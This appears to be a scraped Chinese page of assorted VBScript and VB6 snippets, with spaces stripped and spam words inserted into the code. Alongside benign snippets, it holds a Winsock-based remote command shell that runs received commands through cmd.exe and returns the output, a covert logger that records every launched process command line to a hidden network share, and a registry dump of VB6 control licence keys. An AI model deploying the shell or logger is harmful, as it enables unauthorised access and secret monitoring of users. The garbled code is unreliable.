->此外,那时既没有WindowsScriptHost也没有WMI,因此运行该脚本还是天龙有一些难度
If Flag=0 Then
GetIPAddress="Get IP Address Time Out ..."
Else
Source=GetIPObj.documentElement.innerText
Set Rep=New RegExp
Rep.Pattern="(d+).(d+).(d+).(d+)"
For Each result in Rep.Execute(Source)
GetIPAddress=result
Exit For
Next
End If
End Function
'以下是代码(放在一个Command按钮下面)
DimoAppAsOutlook.Application
DimoNameSpaceAsNameSpace
DimoFolderAsMAPIFolder
DimoMailItemAsObject
DimsMessageAsString
SetoApp=NewOutlook.Application
SetoNameSpace=oApp.GetNamespace("MAPI")
SetoFolder=oNameSpace.GetDefaultFolder(olFolderInbox)
ForEachoMailItemInoFolder.Items
WithoMailItem
IfoMailItem.Attachments.Count>0Then'?
oMailItem.Attachments.Item(1).SaveAsFile"C:TempOutlookAttachments"&oMailItem.Attachments.Item(1).filename
MsgBoxoMailItem.Attachments.Item(1).DisplayName&"wassavedas"&oMailItem.Attachments.Item(1).filename
EndIf
EndWith
NextoMailItem
SetoMailItem=Nothing
SetoFolder=Nothing
SetoNameSpace=Nothing
SetoApp=Nothing
作者:LewisCornick
邮箱:l_cornick@hotmail.com
网址:->
CreateObject和WScript.CreateObject的区别一:
CreateObject是VBS的内置函数,属于语言的一部分;而WScript.CreateObject是Windows脚本宿主(wscript.exe和cscript.exe)提供的WScript对象的方法在VB中,我们可以按以下步骤来创建此类窗口:
1、设置窗口的部游本天版BorderStyle=3;
2、在Form_Load中加入:Me.Icon=LoadPicture("")->
'搞一个特殊的戏脚站准备用的,没想到,等写完了,洞补上了,郁闷
'by009,baicker@hotmail.com
'date:071221
Dimrevdata
setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_")
setsc=createobject("WScript.Shell")
Setfso=CreateObject("Scripting.FileSystemObject")
sock.connect"127.0.0.1",1234
SubWSEvent_Connect()
wscript.echo"Connected!"
endsub
SubWSEvent_DataArrival(bytes)
MyString="blank"
sock.GetDataMyString
revdata=MyString
ifbytes>0then
ifinstr(revdata,"exit")>0then
sock.close
sock.close
sock=nothing
bClose=true
exitsub
else
onerrorresumenext
tempfile="C:"&fso.GetTempName
cmd=left(revdata,len(revdata)-1)
callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True)
Settxf=fso.OpenTextFile(tempfile,1,false,0)
sock.senddatatxf.readall&vbcrlf&vbcrlf
txf.close
callfso.DeleteFile(TempFile,True)
endif
sock.senddata"009>"
endif
endsub
WhileNotbClose
WScript.Sleep1
Wend
—————————————————————————————————————
调用winsock,未装VB的需要导入注册表
——————————————vb6controls.reg—————————————————-
REGEDIT
HKEY_CLASSES_ROOTLicenses=Licensing:Copyingthekeysmaybeaviolationofestablishedcopyrights.
//MaskedEditControl6.0licensekey
HKEY_CLASSES_ROOTLicensesBC96F860-9928-11cf-8AFA-00AA00C00905=mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj
//ChartControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOTLicenses12B142A4-BD51-11d1-8C08-0000F8754DA1=aadhgafabafajhchnbchehfambfbbachmfmb
//CommonDialogControl6.0licensekey
HKEY_CLASSES_ROOTLicenses4D553650-6ABE-11cf-8ADB-00AA00C00905=gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj
//ADODataControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOTLicensesC4145310-469C-11d1-B182-00A0C922E820=konhqhioohihphkouimonhqhvnwiqhhhnjti
//CommonControls-36.0licensekey
HKEY_CLASSES_ROOTLicenses38911DA0-E448-11D0-84A3-00DD01104159=mcpckchcdchjcjcclidcgcgchdqdcjhcojpd
//WindowsCommonControls-25.0(SP2)licensekey
HKEY_CLASSES_ROOTLicenses9E799BF1-8817-11cf-958F-0020AFC28C3B=uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun
//WindowsCommonControlslicensekey
HKEY_CLASSES_ROOTLicenses57CBF9E0-6AA7-11cf-8ADB-00AA00C00905=aahakhchghkhfhaamghhbhbhkbpgfhahlfle
//DataBoundGridControl5.0(SP3)licensekey
HKEY_CLASSES_ROOTLicenses556C75F1-EFBC-11CF-B9F3-00A0247033C4=xybiedobrqsprbijaegcbislrsiucfjdhisl
//DataBoundListControls6.0licensekey
HKEY_CLASSES_ROOTLicenses096EFC40-6ABF-11cf-850C-08002B30345D=knsgigmnmngnmnigthmgpninrmumhgkgrlrk
//InternetTransferControl6.0licensekey
HKEY_CLASSES_ROOTLicenses78E1BDD1-9941-11cf-9756-00AA00C00908=yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun
//MultimediaControl6.0licensekey
HKEY_CLASSES_ROOTLicensesB1EFCCF0-6AC1-11cf-8ADB-00AA00C00905=qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun
//ChartControl6.0licensekey
HKEY_CLASSES_ROOTLicenses7C35CA30-D112-11cf-8E72-00A0C90F26F8=whmhmhohmhiorhkouimhihihwiwinhlosmsl
//WindowsCommonControls-26.0licensekey
HKEY_CLASSES_ROOTLicenses4F86BADF-9F77-11d1-B1B7-0000F8753F5D=iplpwpnippopupiivjrioppisjsjlpiiokuj
//WindowsCommonControls6.0licensekey
HKEY_CLASSES_ROOTLicensesED4B87C4-9F76-11d1-8BF7-0000F8754DA1=knlggnmntgggrninthpgmnngrhqhnnjnslsh
//CommControl6.0licensekey
HKEY_CLASSES_ROOTLicenses4250E830-6AC2-11cf-8ADB-00AA00C00905=kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun
//DataGridControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOTLicensesCDE57A55-8B86-11D0-b3C6-00A0C90AEA82=ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe
//DataListControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOTLicensesA133F000-CCB0-11d0-A316-00AA00688B10=cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc
//DBWinlicensekey
HKEY_CLASSES_ROOTLicensesD015B071-D2ED-11d0-A31A-00AA00688B10=gjdcfjpcmjicjcdcoihcechjlioiccechepd
//MSDBRPTlicensekey
HKEY_CLASSES_ROOTLicenses9DF1A470-BA8E-11D0-849C-00A0C90DC8A9=cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd
//FlexGridControl6.0licensekey
HKEY_CLASSES_ROOTLicenses72E67120-5959-11cf-91F6-C2863C385E30=ibcbbbebqbdbciebmcobmbhifcmciibblgmf
//MAPIControls6.0licensekey
HKEY_CLASSES_ROOTLicenses899B3E80-6AC6-11cf-8ADB-00AA00C00905=wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun
//MSRDO2.0licensekey
HKEY_CLASSES_ROOTLicensesB1692F60-23B0-11D0-8E95-00A0C90F26F8=mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd
//RemoteDataControl6.0licensekey
HKEY_CLASSES_ROOTLicenses43478d75-78e0-11cf-8e78-00a0d100038e=imshohohphlmnhimuinmphmmuiminhlmsmsl
//WindowlessControls6.0licensekey
HKEY_CLASSES_ROOTLicenses80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10=qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj
//PictureClipControl6.0licensekey
HKEY_CLASSES_ROOTLicenses6FB38640-6AC7-11cf-8ADB-00AA00C00905=gdjkokgdldikhdddpjkkekgknesjikdkoioh
//RichTextBoxControl6.0licensekey
HKEY_CLASSES_ROOTLicensesDC4D7920-6AC8-11cf-8ADB-00AA00C00905=iokouhloohrojhhhtnooiokomiwnmohosmsl
//SheridanTabControllicensekey
HKEY_CLASSES_ROOTLicenses190B7910-992A-11cf-8AFA-00AA00C00905=gclclcejjcmjdcccoikjlcecoioijjcjnhng
//SysInfoControl6.0licensekey
HKEY_CLASSES_ROOTLicensesE32E2733-1BC5-11d0-B8C3-00A0C90DCA10=kmhfimlflmmfpffmsgfmhmimngtghmoflhsg
//WinsockControl6.0licensekey
HKEY_CLASSES_ROOTLicenses2c49f800-c2dd-11cf-9ad6-0080c7e7b78d=mlrljgrlhltlngjlthrligklpkrhllglqlrk
每行写一个网站名称,不要有空行
记录客户机操作的VBS脚本
onerrorresumenext
strComputer="."
SetobjWMIService=GetObject("winmgmts:"&strComputer&"ootcimv2")
SetIPConfigSet=objWMIService.ExecQuery_
("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")
ForEachIPConfiginIPConfigSet
IfNotIsNull(IPConfig.IPAddress)Then
Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
EndIf
Next
strComputer="."
SetobjWMIService=GetObject("winmgmts:"_
&"{ impersonationLevel=impersonate}!"&strComputer&"ootcimv2")
SetcolMonitoredProcesses=objWMIService._
ExecNotificationQuery("select*from__instancecreationevent"_
&"within1whereTargetInstanceisa'Win32_Process'")
i=0
DoWhilei=0
SetobjLatestProcess=colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine
setfso=createobject("scripting.filesystemobject")
setfile1=fso.opentextfile("\192.168.0.87ourway$ourway.htm",8,true)
file1.writelinenow()&"---"&a&"---"&b&"
"
file1.close
Loop
服费安卓
VB程序也能加入此功能,步骤如下:
一、申明定义热键的龙部API函数
PrivateDeclareFunctionGetAsyncKeyStateLib"user32"_
(ByValvKeyAsLong)AsInteger
二、声明定义热键变量
PrivateFunctionMyHotKey(vKeyCode)AsBoolean
MyHotKey=(GetAsyncKeyState(vKeyCode)<0)
EndFunction
三、脚本在Timer1_Timer中加入:
PrivateSubTimer1_Timer()
'定义热键
IfMyHotKey(vbKeyF12)The免费n
Me.Visible=True'(设程序启动时窗体不可见)
EndIf
EndSub
说明:以上代码是笔者一个程序中的一部分,运行成功
顺便提及,以下是另一个比较有用的屏幕保护程序脚本,这个脚本可以确保屏幕保护程序受到密码保护:
HKEY_CURRENT_USER=&H80000001
strComputer="."
SetobjReg=GetObject("winmgmts:"&strComputer&"ootdefault:StdRegProv")
strKeyPath="ControlPanelDesktop"
objReg.CreateKeyHKEY_CURRENT_USER,strKeyPath
ValueName="ScreenSaverIsSecure"
strValue="1"
objReg.SetStringValueHKEY_CURRENT_USER,strKeyPath,ValueName,strValue
你看,注册表脚本编写多么有趣?。
天龙